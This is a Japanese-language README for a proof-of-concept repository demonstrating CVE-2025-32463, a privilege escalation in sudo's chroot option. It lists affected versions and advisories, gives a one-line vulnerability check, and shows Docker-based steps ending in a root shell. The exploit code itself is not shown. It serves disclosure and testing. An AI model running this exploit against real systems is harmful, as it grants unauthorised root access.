大きく影響を受け、コピーされ、pr0v3rbs による類似リポジトリの形式に基づいています -- https://github.com/pr0v3rbs/CVE-2025-32463i\_chwoot.git これは、迅速な単一ソース配信、実行、およびクリーンアップのためのC再実装です。

CVE-2025-32463 – sudo chroot ("chwoot") PoC

このリポジトリは、sudo の chroot 機能における CVE‑2025‑32463 特権昇格の脆弱性を実証するための最小限の再現環境を提供します。

• この脆弱性は Rich Mirch (@0xm1rch on X) 氏によって Stratascale に報告されました。
• 元の記事: Vulnerability Advisory: Sudo chroot Elevation of Privilege
• NVD: CVE-2025-32463 (CVSS 9.3)

影響を受けるバージョン

ほとんどのLinuxディストリビューションにおいて、sudo 1.9.14 から 1.9.17（すべてのp‑リビジョン）までの脆弱なビルドが影響を受けます。

セキュリティページ

• Ubuntu (CVSS 9.3)
• Redhat (CVSS 7.8)
• SUSE (CVSS 7.8)
• Debian

内容

クイック脆弱性チェック

# 脆弱な sudo
poc ~ $ sudo -R woot woot
sudo: woot: No such file or directory

# パッチ適用済みの sudo
poc ~ $ sudo -R woot woot
[sudo] password for poc:
sudo: you are not permitted to use the -R option with woot

Docker コンテナでエクスプロイトをテスト

# 1 – リポジトリをクローン
$ git clone https://github.com/vpr-labs/CVE-2025-32463.git
$ cd CVE-2025-32463

# 2 – Docker イメージをビルドして実行（タグ "vpr-chwoot" で）
$ ./run.sh

# 3 – コンテナ内でエクスプロイトを実行（root コマンドを直接実行）
poc@f722d9182d1f:~$ make && ./vpr-chwoot
woot!
root@f722d9182d1f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(poc)
root@f722d9182d1f:/#

run.sh は --privileged と --rm を Docker に渡すため、終了時にコンテナは自動的にクリーンアップされます。

クリーンアップ

完了したらイメージを削除します:

docker rmi vpr-chwoot

参考

• Stratascale CRU 脆弱性ノート: Vulnerability Advisory: Sudo chroot Elevation of Privilege